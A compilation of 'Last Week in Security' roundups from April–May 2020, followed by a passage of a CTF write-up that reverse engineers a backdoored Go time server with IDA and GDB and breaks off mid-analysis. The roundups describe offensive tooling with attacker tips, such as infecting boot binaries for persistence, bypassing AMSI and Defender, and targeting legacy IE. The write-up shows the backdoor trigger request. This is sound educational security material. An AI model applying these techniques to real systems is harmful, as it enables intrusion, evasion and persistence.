Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-04-06 to 2020-04-13. MITRE ATT&CK techniques are in brackets where appropriate.


  • IDA Home is coming! The "Ghidra Effect" is pushing Hex-Rays to innovate, and while details are light, this is inevitably a good thing for the reverse engineering community. However, the Home edition will only support one processor family, and is $365 a year (no decompiler). The biggest advantage is the inclusion of IDAPython while unlocks a deep community of user-created tools for IDA.
  • A Decade of Rats is a report from Blackberry that details advanced persistence threats targeting Linux endpoints.
  • Google and Apple team up for contract tracing while trying to preserve privacy. Even with "anonymous" tracking, this data will likely be weaponized in unforeseen ways.


Tools and Exploits

  • Ghost-In-The-Logs is a tool that leverages a kernel driver to disable Event Tracing for Windows (ETW). This can enable or disable all logging, so use it sparingly! [T1054 Indicator Blocking]
  • GhostBuild is a collection of simple MSBuild launchers for various GhostPack/.NET projects. [T1500 Compile After Delivery]
  • nessus-database-export is a script to export Nessus results to a relational database for use in reports, analysis, or whatever else. This can be used to find a specific vulnerability across many scans, searching for text across all scans, seeing stats across date ranges, or as the backend for a custom web app.
  • Slingshot C2 Matrix Edition is a virtual machine from the makers of the C2 matrix that comes with many C2 frameworks preinstalled. A SANS login is required for download. [TA0011 Command and Control]
  • Gunslinger is a hunting tool that is based around URLScan's Search API. Gunslinger can crawl URLScan for JavaScript files that match a set of user-defined rules and reports the information back to Slack. Of note, the URLScan API is free and this tool may be useful for continuous monitoring of your web properties to alert of javascript or other changes.
  • frankenstein provides a virtual environment to fuzz wireless firmwares using the CYW20735 Bluetooth evaluation board. This is a cool tool to explore Bluetooth firmware bugs.

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • 18 GitLab features are moving to open source. GitLab might be feeling the pressure from GitHub as they make their free offering even better with the following features that used to be paid-only: Related issues, Export issues, Issue board focus mode, Service desk, Web Terminal for Web IDE, File syncing to the web terminal, Design Management, Package Managers, Canary deployments, Incremental rollout, Feature flags, Deploy boards, Support for multiple Kubernetes clusters, and Network policies for container network security.
  • Project Send is a free, open source software that lets you share files with your clients, focused on ease of use and privacy. It supports clients groups, system users roles, statistics, multiple languages, detailed logs, and much more! Docker container here.

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-04-20

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-04-13 to 2020-04-20. MITRE ATT&CK techniques are in brackets where appropriate.


  • GitHub is now free for teams - private repositories with unlimited collaborators are now available to all GitHub accounts and the price of the paid plan drops to $4 per user per month. Microsoft is shoveling cash into the Github furnace to ensure dominance. To what end remains to be seen, but in the short term users benefit.
  • Riot Games offers $100,000 for kernel exploit in anti-cheat. Riot Games (developers of league of legends) is offering a lot of money if anyone is able to execute code in the Windows kernel via their new "Vanguard" anti-cheat driver. Hacker One doesn't list a bounty if you can show "Vanguard" is being used as a backdoor; Riot Games is wholly owned by Chinese conglomerate holding company Tencent.
  • tfp0 bug and exploit teased for iOS 13.4.1 on A13. Big if true, this screenshot shows uname -a output for the latest iOS on the latest iPhone processor which means Qihoo 360 likely has a powerful iOS 0day on their hands.
  • AiR-ViBeR: Exfiltrating Data from Air-GappedComputers via Covert Surface ViBrAtIoNs shows that there is yet another way to slowly leak information out of air-gapped networks, this time via vibrations caused by the variations of case fans and detected with an off the shelf cell phone on the same table. Demo video here. [TA0009 Collection]
  • Binary Ninja adds a decompiler. Hot on the heals of the Hex Ray's IDA Home announcement Binary Ninja adds a decompiler to their free cloud offering (graph view only) and offline disassemblers (graph view and linear). Keep up the great work Vector 35!
  • Buyer bewareβ€”that 2TB-6TB β€œNAS” drive you’ve been eyeing might be SMR brings to light a rumor that has been gaining credibility. Despite being marketed as "NAS" drives, nearly all 2TB-6TB drives (yes - even WD Reds) are Shingled Magnetic Recording (SMR) drives. This has a huge impact on write speed and this technology was previously reserved for "archive" or "backup" drives. Seagate has confirmed that none of its IronWolf or IronWolf Pro drives use SMR, but are as cagey as the other major manufacturers about all other drives. This recent bout of shady practices is in the shadow of likely price fixing by the three major drive manufacturers since the Thailand flood of 2011. High capacity SSDs cannot come fast enough.
  • Flipper Zero hardware hacking tool announced. This is a really cool looking piece of kit that, if they can deliver, will be an essential for every hacker's go-bag. It claims to have the capability to do everything from being a 433/868 MHz transceiver, 125kHz RFID cloner, InfraRed transceiver, Bad USB, iButton cloner, and have compatibility with the Arduino IDE. Big promises but I will be in line as soon as the kickstarter opens in May.


  • Methodology for Static Reverse Engineering of Windows Kernel Drivers takes the reader through the process of identifying drivers on targets, setting up a Ghidra environment to work with Windows drivers (setting up the symbols needed for analyzing drivers), finding the driver entry, and reversing functions. n4r1b's blog has even more Windows driver reversing.
  • DNS Peer-to-Peer Command and Control with ADIDNS is a method of using Active Directory-Integrated DNS Zones (ADIDNS) records in restrictive corporate networks to bypass locked down outbound firewalls. Adding an ADIDNS entry (available to any authenticated domain user), tunneling with a helper C# tool, and a little socat allows a Cobalt Strike beacon to relay though another Cobalt Strike beacon via DNS. [T1048 Exfiltration Over Alternative Protocol]
  • Kerberos Delegation - Hackndo is back with another great article on Active Directory, this time focusing on the different types of kerberos delegation.
  • Designing The Adversary Simulation Lab by Adam Chester is a deep dive into the tools and technologies MDSec choose to build a deployable lab for their adversary emulation course and contains some insights on desired state configuration, terraform, and the intricacies of AWS. Adam even provides a demo lab!
  • Build your first LLVM Obfuscator. Ever wanted to venture into the depths of the LLVM compiler's intermediate representation to obfuscate a binary without changing the source code? This article introduces LLVM and walks through a string obfuscator. This technique could be expanded and used on open source red team tools as part of an AV/EDR bypass. [T1027 Obfuscated Files or Information]

Tools and Exploits

  • BlockBlock 1.0 Beta is an open source rewrite of the persistence monitor for macOS that uses the Endpoint Security Framework. If you are using the 0.9.x BlockBlock, you will have to manually uninstall and install this version. [TA0003 Persistence]
  • pwndrop is a self-deployable file hosting service for red teamers, allowing to easily upload and share payloads over HTTP and WebDAV from the maker of evilginx2. The UI is beautiful and the feature road map looks good. Read more on his blog. [T1192 Spearphishing Link]
  • burp-exporter is a Burp Suite extension to copy a request to the clipboard as multiple programming languages functions.
  • xioc extracts indicators of compromise from text, including "escaped" ones like hxxp://banana.com, 1.1.1[.]1 and phish at malicious dot com. This is a useful tool for automating "threat intelligence" pipelines.
  • remove-zoom-macos - Zoom's recent security woes have you thinking twice about that app install? This script removes everything Zoom put on your mac, even the things the official uninstaller leaves behind.
  • Jamf-Attack-Toolkit is a suite of tools to facilitate attacks against the Jamf macOS management platform. Check out the accompanying blog post and slides. [T1133 External Remote Services]
  • meshmembers is a tool to organize a mesh network of redirectors and allow the state of the network to be actively maintained by each node. [T1188 Multi-hop Proxy]
  • vmware_vcenter_cve_2020_3952 is an exploit for last week's CVE-2020-3952 in vCenter 6.7 that allows an unauthenticated attacker to add themselves as an Administrator to a vCenter if it was upgraded from 6.5 or earlier to 6.7 (fresh installs not affected). [T1190 Exploit Public-Facing Application]
  • ROADtools is an Azure AD exploration framework (Rogue Office 365 and Azure (active) Directory tools). It currently contains a great recon tool with an Angular UI for exploring an Azure AD. Blog and stream here.
  • SweetPotato is a rewrite of JuciyPotato (Local Service to SYSTEM privilege escalation from Windows 7 to Windows 10 / Server 2019) that is now compatible with execute-assembly with some extras. [T1068 Exploitation for Privilege Escalation]
  • quicksql is a simple MSSQL query tool that allows you to connect to MSSQL databases and does not require administrative level rights to use.

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • OffensiveCSharp is a great collection of offensive C# tooling that can be used post-exploitation on Windows targets. Check the readme for a description of each tool.
  • Brim is a desktop application to efficiently search large packet captures and Zeek logs. It loads pcaps much faster than wireshark but allows detailed analysis of flows in wireshark with a single click.
  • qrpc allows you to transfer files over wifi from your computer to your mobile device by scanning a QR code without leaving the terminal. It's bi-directional and can receive files from a phone with a handy web uploader.

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-04-27

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-04-20 to 2020-04-27. MITRE ATT&CK techniques are in brackets where appropriate.


  • BSides LV and DEF CON skytalks announce their cancellation for 2020.
  • Rumble.run announces free tier. Rumble is a scanning and asset identification product from HD Moore, founder of the Metasploit project. I have been using Rumble since the beta and it has proven to be the best tool for enumeration on engagements. The free tier gives you enough room to experiment and use on small engagements or bug bounties. After a few uses, you'll only go back to masscan and nmap for very specific scans. [T1046 Network Service Scanning]
  • COVID-19’s impact on Tor. Tor cut 13 of its staff and are down to 22 employees due to the lack of donations. Donate here to help keep this privacy resource funded.
  • Mobile Bugs
  • Another 1-line NPM package breaks javascript development. is-promise has 3,433,289 dependencies and even had a bug. The early lack of a good standard library (modern Javascript has fixed this) has caused an ecosystem of tiny packages that are maintained by unvetted developers. Let this be another reminder to vendor your dependencies which might work!
  • Python releases 2.7.18 the last release of Python 2, despite it going out of support January 1st 2020. Python 3 has been available since 2008, but if for some reason you can't upgrade, PyPy and RedHat have said they will continue supporting Python 2.


Tools and Exploits

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-05-04

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-04-27 to 2020-05-04. MITRE ATT&CK techniques are in brackets where appropriate.


  • iOS Sandbox escape "Psychic Paper" 0day released. It turns out having 4 custom XML parsers leads to trivial sandbox escape. The patch ironically adds two additional parsers. I would hope Apple is screening App Store apps to prevent this from being abused.
  • Beware of the GIF: Account Takeover Vulnerability in Microsoft Teams. Subdomain takeover combined with the way Teams includes GIFs allowed the Cyberark team to exfiltrate user's json web tokens which allows them to scrape messages if a user views their GIF. This is extra powerful because the JWT also allows the attacker to impersonate the victim and send the GIF to all contacts, essentially making this vulnerability wormable. [T1193 Spearphishing Attachment]
  • FCC Scrutinizes Four Chinese Government-Controlled Telecom Entities. The FFC issues show cause orders to China Telecom Americas, China Unicom Americas, Pacific Networks, and ComNet demanding explanation of why the FCC should not initiate proceedings to revoke their authorizations. These Telecoms have 30 days to prove their operations and subsidiaries are "not subject to the influence and control of the Chinese government."
  • #OBTS v3.0 Talks & Photos All the slides from the macOS security conference "Objective by the Sea" have been posted.
  • Other "Weeks"
  • Sysmon v11 Released and includes file delete monitoring and archive to help responders capture attacker tools and adds an option to disable reverse DNS lookup. This will be huge for defenders allowing them to easily get samples of malware that only exists on disk for a short period of time.


Tools and Exploits

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • ParamSpider helps discover http parameters by mining parameters from the dark corners of Web Archives.
  • wxHexEditor is a great cross platform free and open source hex editor.
  • DbgShell is a PowerShell front-end for the Windows debugger engine.
  • ysoserial fork is a fork of the official great ysoserial project with some improvements added to create payloads for the Burp Suite plugin Java Deserialization Scanner and more generally to speed-up and improve the detection and the exploitation of Java serialization issues with ysoserial.

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-05-11

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-05-04 to 2020-05-11. MITRE ATT&CK techniques are in brackets where appropriate.


  • ALU/Nokia GPON Admin and WIFI keygen. While default WiFi credentials have gotten much better in the last decade, some suppliers are still using bad algorithms to generate default passwords. In this case Nokia is using the OUI and serial number. The full background, device teardown, and keygen is in the git readme.
  • Samsung Android multiple interactionless RCEs and other remote access issues in Qmage image codec built into Skia is as bad as it sounds. With enough malformed images, an attacker can leak address space layout randomization (ASLR) offsets and create a payload image that will provide a remote code execution. While the demo shows lots of alerts for incoming messages, think if this was productized or conducted while the victim is asleep and then cleaned. If you have or manage Samsung devices, ensure they are updated with the May 2020 update. Demo here. [TA0001 Initial Access]
  • Github Code Spaces is a hosted Visual Studio Code for Github. Great for quick edits or perhaps remote development. It remains to be seen how it will handle files not in git (secrets, .env, etc) and what it will cost.
  • Huawei HKSP Introduces Trivially Exploitable Vulnerability. Huawei manages to royally screw up its custom kernel protection mechanism which turns out is exploitable with a 10 line PoC.
  • Matrix enables end-to-end encryption by default. The go-to choice for privacy respecting chat services just enabled end-to-end encryption by default after a long beta period. For federated, self-hostable, encrypted messaging and chat rooms Matrix + Riot is the way to go. For ease of use, Signal wins for now.
  • Thunderspy: When Lightning Strikes Thrice: Breaking Thunderbolt 3 Security is an evolution to Thunderbolt Direct Memory Access (DMA) attacks that re-flashes the Thunderbolt controller flash to allow classic DMA attacks. This enables an attacker with physical access to a running, locked Windows or Linux machine (macOS has additional protections that are not bypassed), even with full disk encryption, to be accessed in under 5 minutes. Some laptops produced after 2019 have mitigations, but many do not. Take 5 minutes to watch the demo and think twice about leaving your running laptop unattended. Full paper here. [T1200 Hardware Additions]


Tools and Exploits

  • Windows loaders [T1066 Indicator Removal from Tools]
    • NetLoader loads any C# binary in memory, patching AMSI, and bypassing Windows Defender. It includes tons of C# tools and an MSBuld payload.
    • FALCONSTRIKE a stealthy, targeted Windows Loader for delivering second-stage payloads (shellcode) to the host machine undetected. Blog post here.
  • SharpC2 is a new .NET C2 framework "proof of concept" that looks fairly polished. It has a modular design, supports many "advanced" features (port forwarding, PPID spoofing, ETW patching), and has a nice web UI on the server side. Code here. [T1071 Standard Application Layer Protocol]
  • drow is a command-line utility that is used to inject code and hook the entrypoint of ELF executables (post-build). It takes unmodified ELF executables as input and exports a modified ELF containing an embedded user-supplied payload that executes at runtime. This is the linux "easy button" of stealthy persistence. Find a binary that runs on boot or on a schedule and infect it with drow to run your implant as well as its normal job. Be sure to fork or inject to allow the process to function normally (don't block). [TA0003 Persistence]
  • NetworkServiceExploit is a self contained binary to escalate from Network Service to SYSTEM on windows when a SYSTEM token is available. Use this with last week's Print Spoofer if FullPowers isn't working for you. I suspect next week we will see a tool that combines all three of these in a "one click to SYSTEM" binary. [T1068 Exploitation for Privilege Escalation]
  • slack-watchman monitors your (or your target's) Slack workspaces for sensitive information. Given a Slack API key this tool will search for sensitive files (API keys, certificates, passwords, etc) and generate a report. Useful for both red and blue teams.
  • CVE-2020-0674-Exploit is a UAF exploit for the x64 version of IE 8, 9, 10, and 11 on Windows 7 that was patched in January 2020 after it was found being exploited in the wild as an 0day. This could be handy when targeting legacy workstations in a corporate environment (out of date and forced to use IE). [T1192 Spearphishing Link]
  • Minimalistic-offensive-security-tools are short but useful powershell scripts that can be used in VDI or other restricted environments where you may have to manually recreate your security tools.
  • whoogle-search is a self-hosted, ad-free, privacy-respecting proxy for Google search. Think of it as a first step to search privacy. The next step is searx.
  • itool is an easy iOS and composable device management command line interface. It was made to simplify and automate common development and provisioning tasks, but could be used to assist with iOS app hacking as well.
  • rbcd-attack is a practical attack against Kerberos Resource-Based Constrained Delegation in a Windows Active Directory Domain.
  • CLRvoyance is a shellcode kit that supports bootstrapping managed assemblies into unmanaged (or managed) processes. It provides three different implementations of position independent shellcode for CLR hosting, as well as a generator script for quickly embedding a managed assembly in position independent shellcode.

New to Me

This section is for news, techniques, and tools that weren't released last week but are new to me. Perhaps you missed them too!

  • Kernel-Bridge is a Windows kernel hacking framework, driver template, hypervisor, and API written on C++ but the magic is that it is a signed kernel driver that is allowed in SecureBoot and allows all kinds of kernel tampering. It seems strange that Microsoft allows this.
  • pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, and port forwarding magic; fully scriptable with Python.
  • Beekeeper Studio is a cross platform open source SQL editor and Database manager that works with MySQL/MariaDB, Postgres, SQLite, SQL Server, and Amazon Redshift.
  • DRAKVUF Sandbox is an automated black-box malware analysis system with DRAKVUF engine under the hood, which does not require an agent on guest OS.
  • faxhell is a bind shell using the Fax service and a DLL hijack based on Ualapi.dll. A good base for stealthy persistence in Windows.

This post is cross-posted on SIXGEN's blog.

Last Week in Security (LWiS) - 2020-05-18

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the previous week. This post covers 2020-05-11 to 2020-05-18. MITRE ATT&CK techniques are in brackets where appropriate.



Tools and Exploits


  • vscode-drawio brings the great open source diagraming tool into VSCode.
  • yubikey-agent simplifies the arduous yubikey setup process to just a single command. This setup does not create an encrypted backup though, so a lost or broken yubikey cannot be restored.
  • lens is a cross platform IDE for managing Kubernetes clusters. Nothing extra needs to be installed on the pods, just run the app and start managing.

This post is cross-posted on SIXGEN's blog.

Hack The Time - NSEC CTF 2020


Note: This writeup and the challenge binary are available on GitHub.

This is a walk-through of "Hack The Time" a 4-point challenge from the 2020 NSEC CTF. It was a great challenge that required static analysis, dynamic analysis, web skills, Go knowledge, and some creative Bash foo to solve. This was team effort with help from two of my teammates (finding the arg and some bash foo).

Props to @becojo for a great challenge!


Classes are sooooooo long and I’m bored af. There is a rumour that the student that developped the service that controls
the school’s clock added a backdoor to change the time. It is still running to this day… It would be really cool if 
you can find it :wink:

I was able to get a copy of the binary if that helps you: https://dl.nsec/time_server [note binary included in this repo]

The school server is running at http://time-server.ctf:8080.



Browsing to http://time-server.ctf:8080/ displays a simple clock with the current time.

The source of the page is below:

<!doctype html>
<html lang="en">
   <meta charset="UTF-8"/>
   <link href="/styles.css" rel="stylesheet"/>
   <div id="clock">
      <svg viewBox="0 0 40 40">
      <circle cx="20" cy="20" r="19" />
      <g class="marks">
         <line x1="15" y1="0" x2="16" y2="0" />
         <line x1="15" y1="0" x2="16" y2="0" />
         <line x1="15" y1="0" x2="16" y2="0" />
         <line x1="15" y1="0" x2="16" y2="0" />
         <line x1="15" y1="0" x2="16" y2="0" />
         <line x1="15" y1="0" x2="16" y2="0" />
         <line x1="15" y1="0" x2="16" y2="0" />
         <line x1="15" y1="0" x2="16" y2="0" />
         <line x1="15" y1="0" x2="16" y2="0" />
         <line x1="15" y1="0" x2="16" y2="0" />
         <line x1="15" y1="0" x2="16" y2="0" />
         <line x1="15" y1="0" x2="16" y2="0" />

      <line x1="0" y1="0" x2="9" y2="0" class="hour" />
      <line x1="0" y1="0" x2="13" y2="0" class="minute" />
      <line x1="0" y1="0" x2="16" y2="0" class="seconds" />
      <circle cx="20" cy="20" r="0.7" class="pin" />

      <text x="-3" y="0"></text>

   <div id="time"></div>

   <script src="/script.js"></script>


async function main() {
    var res = await fetch('/time.json');
    var {0: j} = await res.json();

    document.querySelector('svg text').textContent = j;

    var svg = document.querySelector('svg');
    var date = new Date(Date.parse(j));

    svg.style.setProperty('--start-seconds', date.getSeconds());
    svg.style.setProperty('--start-minutes', date.getMinutes());
    svg.style.setProperty('--start-hours', date.getHours() % 12);


setInterval(main, 5000);

This script fetches /time.json every 5 seconds. /time.json is an array of the current time, such as: ["2020-05-16 09:53:24"]

styles.css just contains CSS to make the clock. I don't have the original CSS due to how I solved the challenge and local testing.

That is the extent of the website; no obvious backdoors exposed. Let's look at the binary.

Static Analysis

Opening the binary in IDA Pro we see lots of go_ and net_http__ functions.


So we have a Go binary. It's a mess, but golang_loader_assist helps resolve function names and strings, and generally makes it a little more pleasant to work with.

You can see in the screenshot above of main.main there are two handlers being registered, /time.json and /, which makes sense given what we saw on the challenge site. There are no other handlers, so the backdoor isn't as easy as /cmd or similar.

Let's look at the /time.json handler (main_timeHandler)


It gets the current time (time_Now), formats it (time_Time_Format), coverts it to a string (runtime_convTstring), and finally prints it (fmt_Fprintf). Nothing jumps out as being a backdoor, so let's move on for now. We can come back and reverse engineer this function in more depth if we don't find anything else.

How about main_root the handler for /?


Nothing super interesting. Follow the rabbit hole down main_root_func1.


Keep going into main_e


Well well well. net_http__Request_FormValue with a strange string mlaasdkfasldkfm. This feels like a backdoor. How can we send that string to have it read by FormValue? To the docs!

// FormValue returns the first value for the named component of the query.
// POST and PUT body parameters take precedence over URL query string values.
// FormValue calls ParseMultipartForm and ParseForm if necessary and ignores
// any errors returned by these functions.
// If key is not present, FormValue returns the empty string.
// To access multiple values of the same key, call ParseForm and
// then inspect Request.Form directly.

Since we know that / works with GET, we must have to send that string as "name component of the query" aka a GET parameter. The string will be the "key" and whatever it's value is will be returned by FormValue. Something like:

curl -v

Ok so that should get us to the jbe short loc_76320C test. What is that checking? Since this is a 64bit ELF, we can see if IDA's pseudocode helps any:


If something is <=1 it will panic, but we're not quite sure what that something is. Looking further to line 17, there are two checks against something related to os_Args (os_Args + 24 and os_Args +16). If all three of these checks pass, the program will call main_rr. Let's look at main_rr, with a mental note to come back and figure out what these checks are for.


As soon as we see os_exec_Command:


At this point we're confident we have found the backdoor, but it looks like it has additional checks and it isn't obvious what those checks are for. It's time for dynamic analysis.

Dynamic Analysis

Before you start any GDB adventures with Go binaries, the Go documentation on GDB integration is required reading.

For this challenge my .gdbinit file contained the following:

source ~/peda/peda.py
set auto-load safe-path $debugdir:$datadir/auto-load:/usr/local/go/src/runtime
source /usr/local/go/src/runtime/runtime-gdb.py
set follow-fork-mode parent # this keeps GDB on the main binary if it forks any children (shells, etc)

I am using peda to make GDB a little more friendly.

Let's dig into the binary. First, get it open in GDB: gdb ./time_server

Now we load the function of interest and set a break point at it.

gdb-peda$ l main.e
16      in /app/main.go
gdb-peda$ b main.e
Breakpoint 1 at 0x763160: file /app/main.go, line 21.
gdb-peda$ r
Starting program: /mnt/hgfs/nsec/time/time_server 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff5b6d700 (LWP 33773)]
[New Thread 0x7ffff536c700 (LWP 33774)]
[New Thread 0x7ffff4b6b700 (LWP 33775)]
[New Thread 0x7fffeffff700 (LWP 33776)]
[New Thread 0x7fffef7fe700 (LWP 33777)]
[New Thread 0x7fffeeffd700 (LWP 33778)]

At this point the time_server is running and waiting for connections on port 8080. Based on our static analysis, we know it will look for a form value of mlaasdkfasldkfm but not sure what happens after. Let's find out! In a different terminal, send a request like so, using a dummy value of test for the form key discovered earlier:

$ curl -v
*   Trying
* Connected to ( port 8080 (#0)
> GET /?mlaasdkfasldkfm=test HTTP/1.1
> Host:
> User-Agent: curl/7.68.0
> Accept: */*

Now this request hangs open, as the time_server is paused at our break point. Switching back to the first terminal we see:

Thread 3 "time_server" hit Breakpoint 1, main.e (r=0xc000134500) at /app/main.go:21
21      in /app/main.go

Perfect, let's step forward to the values being loaded before the first comparison by disassembling main.e and setting a breakpoint at the mov before the cmp after the call to FormValue. Note: you may have to c (continue) a few times before breakpoint 2 hits.

gdb-peda$ disas main.e
Dump of assembler code for function main.e:
=> 0x0000000000763160 <+0>:     mov    rcx,QWORD PTR fs:0xfffffffffffffff8
   0x0000000000763169 <+9>:     cmp    rsp,QWORD PTR [rcx+0x10]
   0x000000000076316d <+13>:    jbe    0x76321a <main.e+186>
   0x0000000000763173 <+19>:    sub    rsp,0x30
   0x0000000000763177 <+23>:    mov    QWORD PTR [rsp+0x28],rbp
   0x000000000076317c <+28>:    lea    rbp,[rsp+0x28]
   0x0000000000763181 <+33>:    mov    rax,QWORD PTR [rsp+0x38]
   0x0000000000763186 <+38>:    mov    QWORD PTR [rsp],rax
   0x000000000076318a <+42>:    lea    rcx,[rip+0xd9133]        # 0x83c2c4
   0x0000000000763191 <+49>:    mov    QWORD PTR [rsp+0x8],rcx
   0x0000000000763196 <+54>:    mov    QWORD PTR [rsp+0x10],0xf
   0x000000000076319f <+63>:    call   0x6c3610 <net/http.(*Request).FormValue>
   0x00000000007631a4 <+68>:    mov    rax,QWORD PTR [rsp+0x20]
   0x00000000007631a9 <+73>:    mov    rcx,QWORD PTR [rsp+0x18]
   0x00000000007631ae <+78>:    mov    rdx,QWORD PTR [rip+0x3fa883]        # 0xb5da38 <os.Args+8>
   0x00000000007631b5 <+85>:    mov    rbx,QWORD PTR [rip+0x3fa874]        # 0xb5da30 <os.Args>
   0x00000000007631bc <+92>:    cmp    rdx,0x1
   0x00000000007631c0 <+96>:    jbe    0x76320c <main.e+172>
   0x00000000007631c2 <+98>:    mov    rdx,QWORD PTR [rbx+0x10]
   0x00000000007631c6 <+102>:   cmp    QWORD PTR [rbx+0x18],rax
   0x00000000007631ca <+106>:   je     0x7631d6 <main.e+118>
   0x00000000007631cc <+108>:   mov    rbp,QWORD PTR [rsp+0x28]
   0x00000000007631d1 <+113>:   add    rsp,0x30
   0x00000000007631d5 <+117>:   ret    
   0x00000000007631d6 <+118>:   mov    QWORD PTR [rsp],rcx
   0x00000000007631da <+122>:   mov    QWORD PTR [rsp+0x8],rdx
   0x00000000007631df <+127>:   mov    QWORD PTR [rsp+0x10],rax
   0x00000000007631e4 <+132>:   call   0x402dc0 <runtime.memequal>
   0x00000000007631e9 <+137>:   cmp    BYTE PTR [rsp+0x18],0x0
   0x00000000007631ee <+142>:   je     0x7631cc <main.e+108>
   0x00000000007631f0 <+144>:   mov    rax,QWORD PTR [rsp+0x38]
   0x00000000007631f5 <+149>:   mov    rcx,QWORD PTR [rax+0x8]
   0x00000000007631f9 <+153>:   mov    rax,QWORD PTR [rax]
   0x00000000007631fc <+156>:   mov    QWORD PTR [rsp],rax
   0x0000000000763200 <+160>:   mov    QWORD PTR [rsp+0x8],rcx
   0x0000000000763205 <+165>:   call   0x762fe0 <main.rr>
   0x000000000076320a <+170>:   jmp    0x7631cc <main.e+108>
   0x000000000076320c <+172>:   mov    eax,0x1
   0x0000000000763211 <+177>:   mov    rcx,rdx
   0x0000000000763214 <+180>:   call   0x460370 <runtime.panicIndex>
   0x0000000000763219 <+185>:   nop
   0x000000000076321a <+186>:   call   0x45da80 <runtime.morestack_noctxt>
   0x000000000076321f <+191>:   jmp    0x763160 <main.e>
End of assembler dump.
gdb-peda$ b *0x00000000007631ae
Breakpoint 2 at 0x7631ae: file /app/main.go, line 22.
gdb-peda$ c
RAX: 0x0 
RBX: 0x1 
RCX: 0x0 
RDX: 0x0 
RSI: 0xc0001440ae ("asldkfm HTTP/1.1")
RDI: 0x83c2cc ("asldkfmms: gomaxprocs=negative offsetnegative updatenetwork is downno dot in fieldno medium foundno such processnon-minimal tagnot a directorynshortparallel;ntriangleright;num_symbols: 1\nrecord overfl"...)
RBP: 0xc00013cb40 --> 0xc00013cb80 --> 0xc00013cba8 --> 0xc00013cc08 --> 0xc00013cc38 --> 0xc00013cfb8 (--> ...)
RSP: 0xc00013cb18 --> 0xc000134500 --> 0xc0001440a0 ("GET /?mlaasdkfasldkfm HTTP/1.1")
RIP: 0x7631ae (<main.e+78>:     mov    rdx,QWORD PTR [rip+0x3fa883]        # 0xb5da38 <os.Args+8>)
R8 : 0x1 
R9 : 0x12 
R10: 0x8b5768 --> 0x807060504030201 
R11: 0x1 
R12: 0xffffffffffffffff 
R13: 0x12 
R14: 0x11 
R15: 0x200
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
   0x76319f <main.e+63>:        call   0x6c3610 <net/http.(*Request).FormValue>
   0x7631a4 <main.e+68>:        mov    rax,QWORD PTR [rsp+0x20]
   0x7631a9 <main.e+73>:        mov    rcx,QWORD PTR [rsp+0x18]
=> 0x7631ae <main.e+78>:        mov    rdx,QWORD PTR [rip+0x3fa883]        # 0xb5da38 <os.Args+8>
   0x7631b5 <main.e+85>:        mov    rbx,QWORD PTR [rip+0x3fa874]        # 0xb5da30 <os.Args>
   0x7631bc <main.e+92>:        cmp    rdx,0x1
   0x7631c0 <main.e+96>:        jbe    0x76320c <main.e+172>
   0x7631c2 <main.e+98>:        mov    rdx,QWORD PTR [rbx+0x10]
0000| 0xc00013cb18 --> 0xc000134500 --> 0xc0001440a0 ("GET /?mlaasdkfasldkfm HTTP/1.1")
0008| 0xc00013cb20 --> 0x83c2c4 ("mlaasdkfasldkfmms: gomaxprocs=negative offsetnegative updatenetwork is downno dot in fieldno medium foundno such processnon-minimal tagnot a directorynshortparallel;ntriangleright;num_symbols: 1\nrecor"...)
0016| 0xc00013cb28 --> 0xf 
0024| 0xc00013cb30 --> 0x0 
0032| 0xc00013cb38 --> 0x0 
0040| 0xc00013cb40 --> 0xc00013cb80 --> 0xc00013cba8 --> 0xc00013cc08 --> 0xc00013cc38 --> 0xc00013cfb8 (--> ...)
0048| 0xc00013cb48 --> 0x7635ed (<main.root.func1+61>:  mov    rax,QWORD PTR [rsp+0x20])
0056| 0xc00013cb50 --> 0xc000134500 --> 0xc0001440a0 ("GET /?mlaasdkfasldkfm HTTP/1.1")
Legend: code, data, rodata, value

Thread 3 "time_server" hit Breakpoint 2, 0x00000000007631ae in main.e (r=0xc000134500) at /app/main.go:22
22      in /app/main.go
gdb-peda$ x/1x 0xb5da38
0xb5da38 <os.Args+8>:   0x0000000000000001

The last command run above examines 1 byte in hex at address 0xb5da38 and we see that it is 1. GDB with the help of the Go python script we sourced helpfully annotated this as os.Args+8. The Go docs describe os.Args as a string array that holds the command-line arguments, starting with the program name. The value we read that will be compared against 1 indicates that this is the length of os.Args which makes since, as we did not run it with any arguments. To validate this, we restart the program with an argument and re-issue the curl request.

gdb-peda$ kill
[Inferior 1 (process 33769) killed]
gdb-peda$ r testarg
Starting program: /mnt/hgfs/nsec/time/time_server testarg
Thread 1 "time_server" hit Breakpoint 2, 0x00000000007631ae in main.e (r=0xc0000ea100) at /app/main.go:22
22      in /app/main.go
gdb-peda$ x/1x 0xb5da38
0xb5da38 <os.Args+8>:   0x0000000000000002


Ok, so we can past the first comparison. What about the second? If we step a few instructions forward (si) to the next cmp we see this:

gdb-peda$ si
RAX: 0x4 
RBX: 0xc00009e020 --> 0x7fffffffe517 ("/mnt/hgfs/nsec/time/time_server")
RCX: 0x0 
RDX: 0x7fffffffe537 --> 0x67726174736574 ('testarg')
RSI: 0xc00001df8e ("asldkfm=test HTTP/1.1")
RDI: 0x83c2cc ("asldkfmms: gomaxprocs=negative offsetnegative updatenetwork is downno dot in fieldno medium foundno such processnon-minimal tagnot a directorynshortparallel;ntriangleright;num_symbols: 1\nrecord overfl"...)
